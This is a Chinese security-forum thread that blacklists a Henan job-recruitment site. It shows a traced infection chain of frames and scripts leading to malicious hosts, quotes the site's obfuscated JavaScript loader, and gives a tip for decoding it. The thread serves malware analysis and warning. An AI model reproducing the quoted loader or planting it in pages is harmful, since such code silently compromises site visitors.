瑞星卡卡安全论坛技术交流区恶意网站交流 http://job.he-nan.com/(河南人才网--首选的河南招聘网站)

1   1  /  1  页   跳转

[黑名单] http://job.he-nan.com/(河南人才网--首选的河南招聘网站)

http://job.he-nan.com/(河南人才网--首选的河南招聘网站)

Log is generated by FreShow.
[wide]http://job.he-nan.com/
    [script]http://im.he-nan.com/top_job.asp
    [script]http://www.he-nan.com/bot.js
        [frame]http://www.he-nan.com/images/stat.gif
            [frame]http://www.5laaa.cn/aj.gif
                [object]http://tjj1.6600.org/kuaile456/2.htm
                    [frame]http://hd4ok.cn/x23/xx.html
                        [frame]http://hd4ok.cn/x23/Td14.htm
                            [script]http://hd4ok.cn/x23/14.js
                                [object]http://d.nkwxs.com/xx/x23.css
                            [script]http://hd4ok.cn/x23/15.js
                            [script]http://hd4ok.cn/x23/16.js
                        [frame]http://hd4ok.cn/x23/yt.htm
                            [script]http://hd4ok.cn/x23/\'go1.jpg\'
                                [object]http://d.nkwxs.com/xx/x23.css
                            [script]http://hd4ok.cn/x23/\'go.jpg\'
                            [script]http://hd4ok.cn/x23/\'go2.jpg\'
                            [script]http://hd4ok.cn/x23/\'go4.jpg\'
                            [script]http://hd4ok.cn/x23/\'go3.jpg\'
                        [frame]http://hd4ok.cn/x23/dxxz.htm
                            [script]http://hd4ok.cn/x23/091.js
                                [object]http://d.nkwxs.com/xx/x23.css
                            [script]http://hd4ok.cn/x23/092.js
                        [frame]http://hd4ok.cn/x23/yut.htm
                            [frame]http://hd4ok.cn/x23/ytfl.htm
                            [frame]http://hd4ok.cn/x23/of.htm
                                [script]http://hd4ok.cn/x23/of.js
                                    [object]http://d.nkwxs.com/xx/x23.css
                                [script]http://hd4ok.cn/x23/of1.css
                    [script]http://js.tongji.linezing.com/1242665/tongji.js
                [frame]http://www.5laaa.cn/
                [script]http://count32.51yes.com/click.aspx?id=321579007&logo=1
    [script]http://manage.he-nan.com/funcs/jt.asp
    [script]http://job.he-nan.com/area.asp

用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
分享到:
gototop
 

回复: http://job.he-nan.com/(河南人才网--首选的河南招聘网站)

中的内容是:
<html><head><Meta Name=Encoder Content=HTMLSHIP>
<script language="javascript"><!--
oK84="\)\$\|Z\{\ \=\ i2\{X",yT60="\{\$\ Z\=\|\=\%F";0.6177757,gW70="0.5092029",oK84='\=\)C2\-\<hSp\?O6\$Jz\;35f\(GI\}ZW\+7M1B0\_\>HmK8\!\^abl9iut\"F\~DA\[\%\\\`\#qnk\ EcyVvL\{U\&\]PdeQ\'\|Y\@\,g\n\rXxrRj\*Ts\.wN\/o\:4',yT60='fKX2vH\'C\>w\ \\uyMF\=\"8pRcW\?h1\,Z7\{k\;9s\!\)3\&n0l\%\/bO\`EA\rq4aTS\(r\:\^Jit\[\*g\+5\~U\.j\]\@\<Y\-DNBLQ\nd6z\#I\_\}G\$VmeoP\|x';function aL73(aM29){"\{\$FXXZ\ X\%",l=aM29.length;'b\]\-77H\{H\!',w='';while(l--)"X\$ZX\ \)1Fi2\{X",o=oK84.indexOf(aM29.charAt(l)),'b\]\!\[\[B\[\[\!',w=(o==-1?aM29.charAt(l):yT60.charAt(o))+w;"\{\$\=\=1\ \{\ X",oK84=oK84.substring(1)+oK84.charAt(0),document.write(w);'\{\]xx\{\[x\!F\|b\-'};aL73("eHI\#\ \(EOb\[\^V\$\[VN3\]\[\-\[HI\#\ \(EpWMf13\>\>X\_\=\$\^IE\ \/\^Oj\r\?H\`KB\?\ \^\r\/\?\&HE\[E\$HO3O5O5\_HNE\%\ wN\/\$E\`5j\r\?H\`K57\+aaK\_\*\_j\r\?H\`K\_\]U1a32A2\+\_\_jb\ IN\^HN\rjE\/j35W\$J\$\=N\^V5\_e9HI\#\ \(Ep")//--></script><sCrIpT LANgUaGe=jaVAscrIPt>aL73("QE\)q\%N\/6mq\}5\+ccGniiOOO\]\{l\%\%\%\]\}ai\%P\]vE\)6OEXc\+57b6\+\/Ev\+c5b\?QiE\)q\%N\/\?")</script></head><body></body></html>

请问lz是如何从上面内容解密出的?
谢谢!
gototop
 

回复 2F merryzhao 的帖子

有个document.write使用redoce的解密选项:D>Document.Write清除即可
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT